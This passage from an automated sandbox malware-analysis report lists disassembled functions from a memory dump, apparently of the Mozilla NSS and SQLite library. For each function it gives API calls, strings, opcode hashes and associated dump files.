Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: 19a668bf1eed36efac3a2b5cc82cacff0ccf2311a67a425e8d12702b41e500e0
Instruction ID: bd025cd338d460d62adbbb563dcac076ea3d99de314fd746ac3f703887829b34
Opcode Fuzzy Hash: 19a668bf1eed36efac3a2b5cc82cacff0ccf2311a67a425e8d12702b41e500e0
Instruction Fuzzy Hash: 2CF0E9B13061023BFB1021B96C09E3B355CDB42ABAF140676BF29D55C1EE51CC2283B5

Function 6C767C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C767C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767C83
malloc.MOZGLUE(00000001), ref: 6C767C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C767C9F
PR_GetCurrentThread.NSS3 ref: 6C767CAD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction ID: 55013d471de04fbbf3c3cc5b27fd1429d8b156b3f47d55ddf02db3cde86ef1b8
Opcode Fuzzy Hash: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction Fuzzy Hash: A5F0A9B19202066BEB009F7BAE0D95B7B5CEF003A9B118436EC09C7F00EB31E1148AE5

Function 6C76ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE0D
free.MOZGLUE(?), ref: 6C76AE14
DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE36
free.MOZGLUE(?), ref: 6C76AE3D
free.MOZGLUE(00000000,00000000,?,?,6C76A6D8), ref: 6C76AE47

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction ID: 983031f6d4509241d45d1f960aa9bd84e9e3b11a0944075347a97426d1cb2ee9
Opcode Fuzzy Hash: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction Fuzzy Hash: FAF06275201A01A7CB109FE9A909A5BB7BCBE86776B14033DF52A83940D733E115C7D5

Function 6C5EBCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C5EBE37

Strings

Pvl, xrefs: 6C5EBED4
vl, xrefs: 6C5EBDD7
winFileSize, xrefs: 6C5EBF07

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: vl$Pvl$winFileSize
API String ID: 4246442610-3168198568
Opcode ID: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction ID: 4303061a4f6f9530fd95a8c6fae09a8e2390a215f0e5ae3d3284b0bfec010f18
Opcode Fuzzy Hash: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction Fuzzy Hash: 7B61DF31A00709EFCB04DF68CA90BA9B7B2FF4E315B148AA5D8158BB40D730E915CBD9

Function 6C5F7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7D35

Strings

database corruption, xrefs: 6C5F7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7D13, 6C5F7D1F, 6C5F7D47, 6C5F7D53, 6C5F7D5F
%s at line %d of [%.10s], xrefs: 6C5F7D2E

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction ID: 9692598d2856882204f7f34f80f52ace2fd9cb4a47b7b98f9c376a209d15bcad
Opcode Fuzzy Hash: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction Fuzzy Hash: 11312431E0422997C714CF9ECC809BEB7F2AF88349B9905A6E454B7B81D270D942CBB4

Function 6C5E6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5E6D36

Strings

database corruption, xrefs: 6C5E6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E6D20
%s at line %d of [%.10s], xrefs: 6C5E6D2F

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction ID: 01f5a6f30449fb530ca37fed9af45b4eb1f5c6752c8e452fea636bfcae6c1a73
Opcode Fuzzy Hash: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction Fuzzy Hash: 392102306003089BC710CE19DE41B5AB7F2AF89358F944928D9499BF51EB70F9448792

Function 6C6C2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+ll,6C6C32C2,<+ll,00000000,00000000,?), ref: 6C6C2FDA

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C6C300B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C6C302A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

Part of subcall function 6C69C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C69C45D
Part of subcall function 6C69C3D0: TlsGetValue.KERNEL32 ref: 6C69C494
Part of subcall function 6C69C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C69C4A9
Part of subcall function 6C69C3D0: PR_Unlock.NSS3(?), ref: 6C69C4F4

Strings

<+ll, xrefs: 6C6C2FD0

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+ll
API String ID: 2538134263-585971932
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 08c3ec7488ff4fcb7fbc5c9e0b2511f31f88e835bcccc32bdd6f841ed9e3f57d
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 341191B7B001087BDB008E65AC01ADB7799AB85668F184134E91CD7781E772E915CBAA

Function 6C71CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C71CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C71CCB5
memcpy.VCRUNTIME140(6C7B14F4,6C7B02AC,00000090), ref: 6C71CCD3
memcpy.VCRUNTIME140(6C7B1588,6C7B02AC,00000090), ref: 6C71CD2B

Part of subcall function 6C639AC0: socket.WSOCK32(?,00000017,6C6399BE), ref: 6C639AE6
Part of subcall function 6C639AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6399BE), ref: 6C639AFC

Part of subcall function 6C640590: closesocket.WSOCK32(6C639A8F,?,?,6C639A8F,00000000), ref: 6C640597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C71CCB0

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction ID: 419e6e5ce73e2ad56d374f49fec9405ca730182d024fe314feaa993c9f763504
Opcode Fuzzy Hash: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction Fuzzy Hash: D01181F2B042405FDB409F6A8F0BF827AA89B46358F145439E91ADBF41E771D4088BED

Function 6C5E7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E81DF
LeaveCriticalSection.KERNEL32(?), ref: 6C5E8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5E8255
sqlite3_free.NSS3(00000000), ref: 6C5E8260

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction ID: 991f117061fa5bcddf6c766490e48e03eb6067624f3d085b5179728fab7c4b82
Opcode Fuzzy Hash: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction Fuzzy Hash: E0916E71A01608DFEB08DFE9EC58BADB7B1BF0A304F24013AD4169BA50DB356955CB82

Function 6C6C1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C1D8F

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6C1DA6

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6C1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C1ED0

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction ID: 2bd60b362b9b0f4d06faab32dec7c60749b0ebac31cb7bd5d2459586a6fbcc65
Opcode Fuzzy Hash: 22f767f7323e94c9d56a2fe2b543216d11e3b605790b66514346c7d153ccce7b
Instruction Fuzzy Hash: D4516875A00309DFDB04CF98D884BAEBBB6FF49308F144129E819AB750D731E946CB96

Function 6C714FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C5F85D2,00000000,?,?), ref: 6C714FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C71500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7150D6

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 09ce54a638db0e38035536cdf5385927dfb65360eb984d7498b826129ac26af6
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: A5417FB2A402158FCB18CF68DCD179AB7E1BF4431871D466DD84ACBB02E375E891CB91

Function 6C63FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C63FDFE), ref: 6C63FFAD

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C63FDFE), ref: 6C63FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C63FDFE), ref: 6C64006F

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction ID: 79e68347ddbe3d2b80ff4901abe74d68af5ad0ac8a495f7d8bef17966de0e5f4
Opcode Fuzzy Hash: e30cd32c35d927134a2311d8405fd7a62d77e7e43c37cc05b46cfea4ab08b755
Instruction Fuzzy Hash: F341DE71B002299BDB08DFA5E899AAE7775FF4A705F14803DD80693B00DB35A911CBA9

Function 6C727DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C727EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C727ED8

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: 7f0eadcb3e7eaf2cd610507a4b3348d7d9b8bc550013edd262e1bd617d8e30dc
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: B831A6B1E001158FD704CF09CE9599AB7A6FF8831471A817ACC585BB12EB75EC45CBE1

Function 6C6DDF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6DDBBD), ref: 6C6DDFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6DDFEE

Part of subcall function 6C6786D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678716
Part of subcall function 6C6786D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C678727
Part of subcall function 6C6786D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C67873B
Part of subcall function 6C6786D0: PR_Unlock.NSS3(?), ref: 6C67876F
Part of subcall function 6C6786D0: PR_SetError.NSS3(00000000,00000000), ref: 6C678787

Part of subcall function 6C69F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C69F854
Part of subcall function 6C69F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C69F868
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C69F882
Part of subcall function 6C69F820: free.MOZGLUE(04C483FF,?,?), ref: 6C69F889
Part of subcall function 6C69F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C69F8A4
